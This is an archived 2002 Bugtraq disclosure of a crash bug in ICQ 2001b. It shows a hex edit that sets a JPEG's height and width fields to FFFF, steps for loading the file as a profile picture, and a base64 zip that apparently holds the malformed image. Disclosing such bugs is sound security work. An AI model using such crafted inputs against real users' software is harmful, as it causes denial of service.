[24200] in bugtraq
-possible- Bufferoverflow in ICQ 2001b
daemon@ATHENA.MIT.EDU (tsr)
Fri Feb 8 17:07:47 2002
From: "tsr" <tsr_hacc@gmx.net>
To: "Bugtraq" <bugtraq@securityfocus.com>
Date: Fri, 8 Feb 2002 22:38:11 +0100
Message-ID: <NGBBJDEIJJFEOLKCDDLCCEIGCAAA.tsr_hacc@gmx.net>
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0000_01C1B0F1.49CA82E0"
------=_NextPart_000_0000_01C1B0F1.49CA82E0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Bufferoverflow in ICQ 2001b
---------------------------
by tSR
tsr_hacc@gmx.net
Summary:
--------
Loading manipulated picture in Userdetails will crash ICQ.
Only ICQ Version 2001b Build # 3659 was tested with Windows 98SE.
The Orginal File(picoriginal.jpg):
000000A0 0011 0800 7E00 7803 0122 0002 1101 0311 ....~.x.."......
|__________|
Here Stands the height and width of the .jpg file.
The Manipulated File(picmanipulated.jpg):
000000A0 0011 08FF FFFF FFFF 0122 0002 1101 0311 ........."......
It works like Overflow in RealPlayer some days ago.
Example:
--------
1. Unpack the attached picmanipulated.jpg file.
2. Start ICQ and go to ICQ -> View / Change My Details.
3. Go to Picture and Browse to the picmanipulated.jpg file and click on OK.
If your System/ICQ is vuln. ICQ will crash.
PS: If ICQ crashes start it again and check if the pic is not saved.
If it is saved ICQ will crash again, you must go to your ICQ directory
and delete the InfoYOURICQNUMBER.dat in the Plugins folder.
(e.g.: C:\Programme\ICQ\Plugins\Info\Info1234567890.dat)
Oh yes before i forget it: I know that i have not a perfect english. ;)
tSR
grtz to all who know me :)
------=_NextPart_000_0000_01C1B0F1.49CA82E0
Content-Type: application/x-zip-compressed;
name="icqpicvuln.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="icqpicvuln.zip"
UEsDBBQAAgAIAEazSCwojfEtiwIAALQEAAAMAAAAYWR2aXNvcnkudHh0dVRta9swEP5u8H84ti8d
rKqTrG2awdjSJVvYumTJ0jEIFNU+21pkKUhyU0PZb99JSdoQyBkEPp3uedHZ/TrP0egHNLnUaxAK
Rtc/oZ0krfs4Oj0ecXTfgJtN48hZc1fyNP1YVI9MoYujOJrVVcVN03tp4bPfNc+EKqDiSqxqyR1m
sBKpqw164LlFk6HjQlpYCykhNdyWng+Lo7GSTaB2i8YKrTYUoV8LmcFr6FycX8GaW3Bofdu1cCX8
FirTawtX3dmAeQJx9KtEGJtCKC5hKCSeEL42IiTY31XxpuerkhCfEiCMFiTdJIHLgV+6SQeSVrtN
G0kbWq2EdjtUwij+sUfGXrEQcQQH8XT3HE9x9BVJ8sxxlRFjolSiKEoH9E7MM6Ku85D3lCAnnnv0
b/bc20nYc/S4iuEQhsPdckxFiGcV/hk5WGuztCDFkszbm5QpcjmRvEEDVlcIGW8s8EJvDw4eebWS
eDAELQZzteLpMgjkzvG03MzBgYid7jbzThkXbt87VGhwOrydfoBbgWs4g+uSq4K8aeDzZoLoYIfB
l1A62c6YP9w3NBHosx7+CGqoTKUgkjRp429B0CiHRtcGZg1NWHXm8YWFh1oqFsi8jOxW/2TWAzrk
90IaLdggRNBNF5wMDDAlEozId3x8U6UdWP5AjAIs1VMyJA6QNn3eemJQ1dZtvQk8fWUmDKZOmyaO
PFaGEh0GpJHK9Z/xfEpVP+Y3/cGUZdz5S/WbE1nTF2Eh1zJDQyROkBWsB9e9xcTowvCqwgWdXGwL
F75bWFrtzrvzi8vuVeL7vdkYMS6hIfH3mGv/pVNbU6C3gfyBpaJhcqUHh5IkBvEcVjRmRB1QFVKQ
pfB+24z+Of8BUEsDBBQAAgAIAHawSCyAxvrlwQEAAHMDAAAPAAAAcGljb3JpZ2luYWwuanBn+3/j
/wMGAS83TzcGRiDQYdRhYPh/m8GZgYONjZ2NlYOdnZ2Tk4OLR4SXh5ubR1JImF9EVkpeTlZKRkZB
RU9dQUlHWUZGw1xTx8DQxMREXt3S1sLIRs/YxAhkCCMnJycPN48EL6+EkaKMohHJ4P8BBkEOhjqG
CmZGJQYmQUZmQcb/RxjkGRgYWRnBgAEKGJmYWVjZ2Dk4ubiBCrYKMDAxMjMzsTCzsrKwAGVrgfIM
LIKsQoqGjmzCgYnsSoUiRo0TF3IoO208KBp08YOKcVJREyeXmLiEpJSqmrqGppaJqZm5haWVs4ur
m7uHp1dwSGhYeERkVHJKalp6RmZWcUlpWXlFZVVzS2tbe0dn16TJU6ZOmz5j5qxFi5csXbZ8xcpV
mzZv2bpt+46duw4dPnL02PETJ09dunzl6rXrN27eevjo8ZOnz56/ePnq46fPX75++/7j5y+QvxgZ
mBlhAKu/BIH+YmJhYWZhB/mLkakcpECQhVXRkE3IMZA9sVBYyaiRQ8Rp4sKNBzmVjYM+iCYVXeQS
UzF5qPoR5DWwz4jzWBNZPoN7DOGvWww8zIzAyGMWZLBn+P5LY1ED1wjG9v9vAgBQSwMEFAACAAgA
l7BILB9bjHK+AQAAcwMAABIAAABwaWNtYW5pcHVsYXRlZC5qcGf7f+P/AwYBLzdPNwZGINBh1GFg
+H+bwZmBg42NnY2Vg52dnZOTg4tHhJeHm5tHUkiYX0RWSl5OVkpGRkFFT11BSUdZRkbDXFPHwNDE
xERe3dLWwshGz9jECGQIIycnJw83jwQvr4SRooyiEcng/wEGQY7/IMCoxMAkyMgsyPj/CIM8AwMj
KyMYMEABIxMzCysbOwcnFzdQwVYBBiZGZmYmFmZWVhYWoGwtUJ6BRZBVSNHQkU04MJFdqVDEqHHi
Qg5lp40HRYMuflAxTipq4uQSE5eQlFJVU9fQ1DIxNTO3sLRydnF1c/fw9AoOCQ0Lj4iMSk5JTUvP
yMwqLiktK6+orGpuaW1r7+jsmjR5ytRp02fMnLVo8ZKly5avWLlq0+YtW7dt37Fz16HDR44eO37i
5KlLl69cvXb9xs1bDx89fvL02fMXL199/PT5y9dv33/8/AXyFyMDMyMMYPWXINBfTCwszCzsIH8x
MpWDFAiysCoasgk5BrInFgorGTVyiDhNXLjxIKeycdAH0aSii1xiKiYPVT+CvAb2GXEeayLLZ3CP
Ifx1i4GHmREYecyCDPYM339pLGrgGsHY/v9NAFBLAwQUAAIACAD3sEgsyfNbul8EAACoDgAAEgAA
AHBpY21hbmlwdWxhdGVkLnR4dKWXWW8bNxSF3wPkPxzbSewUxoC83IsWBWdhm7wl3fuW7u1buqUt
0P/ec0caWVYzdoEZQARH4v1Ecs45lIzZXWhtzGwmA2Osga8+whc2/NCCb2kjA7r5et6etblz/fDB
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
BQAFADQBAACwDwAAAAA=
------=_NextPart_000_0000_01C1B0F1.49CA82E0--